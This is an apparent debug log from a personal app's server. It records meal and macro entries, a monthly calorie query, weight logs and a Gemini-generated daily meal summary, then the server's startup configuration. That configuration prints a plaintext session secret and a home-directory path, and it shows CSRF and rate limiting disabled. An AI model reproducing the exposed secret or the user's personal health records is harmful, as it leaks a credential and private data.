    skip_reason: "Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, it's a decent beverage."
  },
  {
    id: 440,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Lentil soup (thinner consistency),Moong Dal (slightly lower calorie),Mixed vegetable dal (more fiber, less dal)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of plant-based protein and fiber, good for muscle development.'
  },
  {
    id: 441,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Brown rice (more fiber, slightly fewer net carbs),Quinoa (higher protein, more fiber),Cauliflower rice (significantly lower calorie and carbs)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 2,
    skip_reason: 'Provides energy for workouts, but white rice is a refined carb. Brown rice or quinoa would be better for sustained energy and more nutrients for muscle development.'
  },
  {
    id: 442,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)',
    replacements: 'Plain cucumber salad,Salad with more leafy greens',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Very low in calories, high in fiber and vitamins. Excellent for overall health and satiety without adding significant calories.'
  },
  {
    id: 443,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)',
    replacements: 'Other low-calorie fruits (e.g., berries)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and antioxidants, beneficial for recovery and overall health. Very low in calories.'
  },
  {
    id: 444,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Egg Whites',
    calories: 85,
    protein_gm: 18,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '5',
    replacements: 'None (egg whites are already very low calorie and high protein)',
    created_at: '2025-12-18T10:25:36.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of lean protein, ideal for muscle development and low in calories.'
  },
  {
    id: 445,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk',
    calories: 124,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 7,
    quantity: "1 glass (approx 200ml, assuming full-fat cow's milk)",
    replacements: 'Skim milk (0% fat),Almond milk (unsweetened),Soy milk (unsweetened),Oat milk (unsweetened)',
    created_at: '2025-12-18T10:53:19.000Z',
    skip_level: 1,
    skip_reason: 'Milk is a good source of protein and calcium, beneficial for muscle development. Full-fat milk has more calories and fat, but can be fine in moderation for muscle gain. If aiming for lower fat, skim milk is an option.'
  },
  {
    id: 446,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 56,
    protein_gm: 11,
    carbs_gm: 1,
    fat_gm: 1,
    quantity: 'half scoop (14 gm)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, soy, rice protein - may have slightly different amino acid profiles)',
    created_at: '2025-12-18T12:33:49.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  }
]
2025-12-18T18:03:51.164Z server-connect:app Executing action step setvalue
2025-12-18T18:03:51.164Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T18:03:51.164Z server-connect:output var_total: 1668
2025-12-18T18:03:51.164Z server-connect:app Executing action step setvalue
2025-12-18T18:03:51.164Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T18:03:51.164Z server-connect:output var_consumed: 70
2025-12-18T18:03:51.164Z server-connect:app Executing action step setvalue
2025-12-18T18:03:51.164Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T18:03:51.164Z server-connect:output var_deficit: 732
2025-12-18T18:03:51.164Z server-connect:app Executing action step custom
2025-12-18T18:03:51.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T18:03:51.165Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  }
]
2025-12-18T18:03:51.905Z server-connect:app Executing action step identify
2025-12-18T18:03:51.905Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:51.905Z server-connect:output identity: 1
2025-12-18T18:03:55.438Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T18:03:55.438Z server-connect:app Executing action step identify
2025-12-18T18:03:55.438Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:55.438Z server-connect:output identity: 1
2025-12-18T18:03:55.438Z server-connect:app Executing action step restrict
2025-12-18T18:03:55.438Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:55.439Z server-connect:output restrict: undefined
2025-12-18T18:03:55.439Z server-connect:app Executing action step select
2025-12-18T18:03:55.439Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T18:03:55.440Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 436,
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)'
  },
  {
    id: 437,
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5'
  },
  {
    id: 438,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 439,
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)'
  },
  {
    id: 440,
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 441,
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 442,
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)'
  },
  {
    id: 443,
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)'
  },
  {
    id: 444,
    item_name: 'Egg Whites',
    calories: 85,
    protein_gm: 18,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '5'
  },
  {
    id: 445,
    item_name: 'Milk',
    calories: 124,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 7,
    quantity: "1 glass (approx 200ml, assuming full-fat cow's milk)"
  },
  {
    id: 446,
    item_name: 'Whey Protein',
    calories: 56,
    protein_gm: 11,
    carbs_gm: 1,
    fat_gm: 1,
    quantity: 'half scoop (14 gm)'
  }
]
2025-12-18T18:03:55.440Z server-connect:app Executing action step paged
2025-12-18T18:03:55.440Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T18:03:55.442Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T18:03:55.442Z server-connect:app Executing action step run
2025-12-18T18:03:55.442Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T18:03:55.443Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '| 444 | Egg Whites | 85 | 18 | 3 | 1 | 5 |\n' +
  "| 445 | Milk | 124 | 7 | 9 | 7 | 1 glass (approx 200ml, assuming full-fat cow's milk) |\n" +
  '| 446 | Whey Protein | 56 | 11 | 1 | 1 | half scoop (14 gm) |\n' +
  '\n'
2025-12-18T18:03:55.443Z server-connect:app Executing action step run
2025-12-18T18:03:55.443Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T18:03:55.443Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T18:03:55.443Z server-connect:app Executing action step setvalue
2025-12-18T18:03:55.443Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T18:03:55.444Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '| 444 | Egg Whites | 85 | 18 | 3 | 1 | 5 |\n' +
  "| 445 | Milk | 124 | 7 | 9 | 7 | 1 glass (approx 200ml, assuming full-fat cow's milk) |\n" +
  '| 446 | Whey Protein | 56 | 11 | 1 | 1 | half scoop (14 gm) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T18:03:55.444Z server-connect:app Executing action step processWithGemini
2025-12-18T18:03:55.444Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T18:03:57.354Z server-connect:output health_summary: {
  summary: "Today's food intake shows a good distribution of protein sources, including whey, eggs, and dairy, which supports muscle development. The inclusion of vegetables and dal adds valuable fiber and micronutrients. Meal timing appears consistent with regular consumption throughout the day. Overall, the day aligns well with your goals of muscle gain and fat loss.",
  rating: 8,
  good_points: [
    'Adequate protein intake from multiple sources.',
    'Inclusion of vegetables and legumes for fiber and nutrients.',
    'Consistent meal consumption throughout the day.',
    'Good support for recovery with post-workout protein.'
  ],
  bad_points: [
    'Some processed snack items were consumed.',
    'The exact timing of meals relative to the gym session is not specified.',
    'Hydration levels are not explicitly mentioned.'
  ],
  suggestions: [
    'Prioritize whole, unprocessed foods over snacks where possible.',
    'Ensure adequate water intake throughout the day.',
    'Consider incorporating a source of healthy fats with meals.',
    'Aim for balanced meals that include complex carbohydrates, protein, and healthy fats.'
  ],
  predicted_weight_trend: 'A slight downward trend is likely.',
  predicted_weight: 70.1
}
2025-12-18T18:03:57.354Z server-connect:app Executing action step condition
2025-12-18T18:03:57.354Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T18:03:57.354Z server-connect:app Executing action step delete
2025-12-18T18:03:57.354Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T18:03:57.355Z server-connect:output delete: { affected: 1 }
2025-12-18T18:03:57.355Z server-connect:app Executing action step insert
2025-12-18T18:03:57.355Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T18:03:57.356Z server-connect:output insert: { affected: 1, identity: 38 }
2025-12-18T18:03:57.356Z server-connect:output condition: undefined
2025-12-18T18:03:57.672Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T18:03:57.673Z server-connect:app Executing action step identify
2025-12-18T18:03:57.673Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:57.673Z server-connect:output identity: 1
2025-12-18T18:03:57.673Z server-connect:app Executing action step restrict
2025-12-18T18:03:57.673Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:57.673Z server-connect:output restrict: undefined
2025-12-18T18:03:57.673Z server-connect:app Executing action step single
2025-12-18T18:03:57.673Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T18:03:57.674Z server-connect:output summary: {
  summary: {
    rating: 8,
    summary: "Today's food intake shows a good distribution of protein sources, including whey, eggs, and dairy, which supports muscle development. The inclusion of vegetables and dal adds valuable fiber and micronutrients. Meal timing appears consistent with regular consumption throughout the day. Overall, the day aligns well with your goals of muscle gain and fat loss.",
    bad_points: [
      'Some processed snack items were consumed.',
      'The exact timing of meals relative to the gym session is not specified.',
      'Hydration levels are not explicitly mentioned.'
    ],
    good_points: [
      'Adequate protein intake from multiple sources.',
      'Inclusion of vegetables and legumes for fiber and nutrients.',
      'Consistent meal consumption throughout the day.',
      'Good support for recovery with post-workout protein.'
    ],
    suggestions: [
      'Prioritize whole, unprocessed foods over snacks where possible.',
      'Ensure adequate water intake throughout the day.',
      'Consider incorporating a source of healthy fats with meals.',
      'Aim for balanced meals that include complex carbohydrates, protein, and healthy fats.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A slight downward trend is likely.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T18:18:26.231Z server-connect:app Executing action step identify
2025-12-18T18:18:26.231Z server-connect:app options: { provider: 'security' }
2025-12-18T18:18:26.231Z server-connect:output identity: 1
2025-12-18T18:18:31.360Z server-connect:app Executing action step identify
2025-12-18T18:18:31.360Z server-connect:app options: { provider: 'security' }
2025-12-18T18:18:31.360Z server-connect:output identity: 1
2025-12-18T18:31:02.258Z server-connect:app Executing action step identify
2025-12-18T18:31:02.258Z server-connect:app options: { provider: 'security' }
2025-12-18T18:31:02.258Z server-connect:output identity: 1
2025-12-18T18:31:33.406Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-18T18:31:35.588Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-18T18:31:36.449Z server-connect:setup:upload Upload middleware configured.
2025-12-18T18:31:36.450Z server-connect:secure CSRF Protection initialized
2025-12-18T18:31:36.456Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-18T18:31:36.457Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-18T18:31:36.459Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-18T18:31:36.461Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-18T18:31:36.468Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-18T18:31:36.471Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-18T18:31:36.482Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-18T18:31:36.494Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-18T18:31:36.499Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-18T18:31:36.504Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-18T18:31:36.514Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-18T18:31:36.518Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-18T18:31:36.526Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-18T18:31:36.528Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
